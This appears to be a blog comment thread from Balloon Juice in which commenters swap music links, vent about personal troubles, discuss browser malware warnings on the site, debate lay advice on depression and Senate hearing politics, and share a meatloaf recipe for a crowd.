I sing that song every day to my human resources manager, Crystal. And she says, What the fuck is that shit?
Steeplejack
@Just Some Fuckhead:
Gee, you do have your sensitive side. Good one. Now I’ve got to go find “Summer Rain.”
Just Some Fuckhead
@Steeplejack: When the fuck have I ever been anything other than everything to everyone?
Laura W
@Just Some Fuckhead:
Everyone’s Everything.
Perfect.
http://www.youtube.com/watch?v=S-xfFqWaK1s
burnspbesq
@John Cole:
Have you checked out any of Luciana Souza’s work? She might be up your alley.
I had a crap day today. I think a trip to Amoeba is in order. I’m like the economy as a whole – I spend my way out of depression.
Cat G
@Bad Horse’s Filly: Thanks for the link, that was terrific. The cadences of the black church are just exhilarating.@parksideq: It’s disgraceful that MSNBC gives Buchanan so much air time. I refuse to watch him as he is so profoundly racist and sexist. Best anti-Buchanan quip ever was in reaction to a speech he gave at a Republican convention “it was better in the original German.” He is a disgrace.
arguingwithsignposts
@gex:
I’m still here. had a friend come into town today to try to help out some.
thanks for checking
(btw, i never got any malware warnings from Google (Flock in 10.5)
Steeplejack
@Laura W:
Okay, now you’re just fucking with me. I was unaware that Balloon Juice had a “one-time use only” rule. Keep it up and I’ll be wanting to punch you in the neck.
This. Also.
Laura W
@Steeplejack:
I’m sorry, where are the lyrics? And it’s TEN minutes long? Who do you think you’re linking to here?
Do you get me? Do you ever get me?
Edit: Shattered Dreams! Nice. Have not heard that for years. You win!
Steeplejack
@Just Some Fuckhead:
It’s all right. It’s all right.
Just Some Fuckhead
Listening to CSN on CD.
Laura W
@Just Some Fuckhead:
Ahhhhhhhhhhh…..
http://www.youtube.com/watch?v=pLHqOsnf8Ds
Steeplejack
@Laura W:
What about me? What about me?! When do my needs get met?
God, I just can’t keep up with your ever-changing moods.
Steeplejack
@Just Some Fuckhead:
@Laura W:
Think of the children (i.e., Tunch and Lily).
Can’t we all just get along?
And, yes, I know Sade does a perfect version of this, but ZOMG someone might have linked to it previously so no way am I going to do that.
Ooh, go-go dancers. Gotta go!
CaseyL
I had to find an outside site to see John’s note that there wasn’t really any malware here – I’m just now able to load BJ. My version of Firefox must be different than some of the others here, since there’s no “Option” option in tools; I found the attack-warning-turnoff under Preferences.
I just want to say I’ve had an absolutely shitty couple of days.
Yesterday, a woman drove out onto the main street I was on without looking and I couldn’t stop in time. No one was hurt, we’re both OK, but I don’t know if my car’s fixable. And I love that car!
And yesterday the root of one of my rear molars cracked and I had to have the tooth pulled. Gotta decide now whether to get an implant, or risk the rest of the teeth moving around to fill the space.
And bad things happen in threes, don’t they? Lost my car (maybe), a tooth (definitely) – I shudder to think what #3’s gonna be.
Laura W
@Steeplejack:
http://www.youtube.com/watch?v=ArczUVXrODQ
Steeplejack
@arguingwithsignposts:
Missed the thread last night, read it this morning before going to work. Wanted to add my 2¢.
“Fear creeps in where love is absent.” As I get older, I think there are only two real emotions, love and fear, and I am increasingly skeptical of the latter. Fear is just a lack of love, a confusion of love, or misdirected love. Depression is fear turning inward and getting you by the neck.
It’s very hard, I know, but try not to think about that but to concentrate on the love that is in your life: the love you have for your children, the love you (allow yourself to) feel from those around you (including Balloon Juice). Become more of a verb, less of a noun. You can still express love, even if you (wrongly) feel yourself to be a worthless human being.
I know that depression is a physical illness in the brain, but you can use your mind to help provide some relief (while getting the other help that you should).
It seems like you go some good help from here last night. (I felt profoundly moved to be a part of the Balloon Juice community.) Hang with that.
Other things you can do to help yourself. Just do as much as you can–no need to stress about not “doing enough” and getting even more down on yourself–but try to do a little bit every day.
– Get some exercise every day. Outside. In the sun. Even if you just take a five- or ten-minute walk. It helps, believe me.
– CASE. Cut down on Caffeine, Alcohol and Sugar; increase Exercise. Again, even a little bit helps.
– The Mindful Way Through Depression. (Amazon link in title.) Even if you can’t summon the energy to read the book, listen to the meditations on the companion CD. Very helpful. I think Buddhist psychology (not Buddhist religion!) has a lot to teach us.
– Get out of your head. Yoga. Tai chi. Pilates. In my experience, swimming is particularly good. The white noise of being in the water really gets you grounded in your body and out of your thoughts. And concentrating on your breath. But only if you feel comfortable enough in the water to do it.
– The Mood Cure, Julia Ross. (Amazon link embedded.) More complicated, maybe too much to take on in your current state, so maybe for later. She has some quizzes you can take to get a handle on the type of depression/anxiety you have, then recommends vitamins and supplements accordingly. Not a miracle cure, but very helpful, in my experience.
I apologize if this sounds preachy or know-it-all. That is not my intent. Take what works, leave the rest.
As long as I’m airing it out here, I’ll go all in and reveal the three principles of the Steeplejack religion/philosophy:
Preserve the love.
Increase the peace.
Keep it real.
Okay, must go to the sweat lodge and listen to Coltrane’s “A Love Supreme.” Steep out.
Steeplejack
@Laura W:
My needs are met.
Zuzu's Petals
I get attack site warnings on Firefox. I can “ignore” to get into this site, but it won’t let me get anywhere near the comments.
I’m using Explorer right now with no problems.
It may be unrelated, but my laptop went completely down (Vista, Firefox browser) and I had to drop it off with the Geek Squad to be repaired.
General Winfield Stuck
@Zuzu’s Petals:
You can turn off the site block in Firefox “options” in the security tab Zuzu/
Zuzu's Petals
@General Winfield Stuck:
Thanks. Saw that as I scrolled down.
General Winfield Stuck
@Zuzu’s Petals:
Here is a text format toolbar for firefox until the tabs return. It comes in handy sometimes.
ruemara
It may just be the 4 days straight of trying to fix this damned house talking, but I got 3 things to get off my chest.
1. I get no malware messages. BJ just has been wicked slow mostly.
2. I like chutney. but I’m so tired all I can do is par-burn something and eat it with crackers. and a salad.
3. The whole “Barbara Boxer is just as racist” thing has me mighty PO’d. I got to sit next the old DH when Sotomayor had that “Dezi” impersonation thrown into her hearing. My PR DH had to get up and leave. Maybe it’s not racist to some but it sort of leaves that whole “hispanics=mexican=whatever spanish thing I recall” bad flavor that can piss off a mild tempered borinqua who’s had to deal with that way too much. So, no, it’s not just some dumb white guy saying the one joke he thought of when he knew he’d be coming in that day. I’m sure it’s funny, somewhere. Maybe if he’d told that to her over a beer in some lounge it would work. On tv, for such august, boring proceedings, not so much.
Now, let’s examine Harry Alford. Unlike Sotomayor, he’s there as a rep for the National Black Chamber of Commerce. IOW, a group of black business types focused on…black community. He’s presenting their view that climate change legislation is bad for business because the National Black Chamber of Mammon are so totally off the plantation etc. In response, Boxer brings up the NAACP report on Climate Change. Suddenly, Mr. Alford is offended at all the blackness. What? Doesn’t he actually front a national black association? What’s the effrontery for a counter being made by an even senior organization that also serves the black community? That’s like saying CWA can’t comment on studies put forward by NOW because it would be sexist. When Harry Alford is there to represent the National Chamber of Commerce, then an NAACP study would be a racially stupid thing to pull out. Along with Babs Boxer’s hardcore thug life Dr. Dre impression. I mean, if Cornyn’s Ricky Ricardo impersonation is just light fun that pc types are overblowing, then I’m sure such an episode of delightful humour shouldn’t get Alford’s panties in a bunch.
I could continue with things like how much energy policy and jobs with actual input from minority groups could end or at least correct disparate problems with toxic storage in poor neighborhoods, lack of maintenance etc etc, but tomorrow is another attempt at finishing my floor.
Ty for the venting space.
Zuzu's Petals
@General Winfield Stuck:
Thanks. I just got back on Firefox, and all seems well now.
It will be interesting to see what the story is with my laptop.
ET
That dog is sooooo happy in those pictures but the second one just make me smile.
Screamin' Demon
@Steeplejack:
So which is it? Because as a twenty-year sufferer of clinical depression, I can speak with authority when I tell you it sure as hell ain’t both. Lemme give you a clue: your first definition is bullshit. Depression is an organic disease, it’s not a vague reaction to being afraid of something. If it were, we’d all be on anti-depressants, wouldn’t we?
Actually, almost all of us are on them, aren’t we? Too bad only about a tenth of those taking them actually need them.
Steeplejack
@Screamin’ Demon:
I don’t think it’s an either/or question. For one thing, there are different types of depression, from raging clinical depression down to low-grade (but still painful) dysthymia. And I can think of cases in which even intense depression is not automatically a physical illness–if, say (to take an extreme example), I were being held without charges for years at Guantánamo.
Thanks for taking the time to read and respond to my little screed.
Ruckus
@arguingwithsignposts:
Glad to see you’re back and doing better
Glocksman
Let’s see here….
Ah, yes, a meat loaf recipe:
15 pounds ground beef.
5 pounds sausage.
1.5 cups each chopped bell peppers, celery, and onions.
1 loaf of white bread soaked in milk.
18 large eggs.
Seasonings:
Ground garlic, salt, and pepper to taste.
Mix thoroughly (this alone will result in forearm muscle growth if done regularly, though I’m sure Erick Erickson can suggest other forearm enlarging exercises), divide into pans and loaves about 2 inches thick and bake at 400F until the interior meat is done.
This takes approximately 1.5 hours, though for safety’s sake use a meat thermometer to insure the mix is at the proper temperature.
Remove each loaf from the pan and coat with ketchup and shredded cheddar.
Serves approx. 30-50 people.
Can you tell that I used to be a line cook at a buffet? :)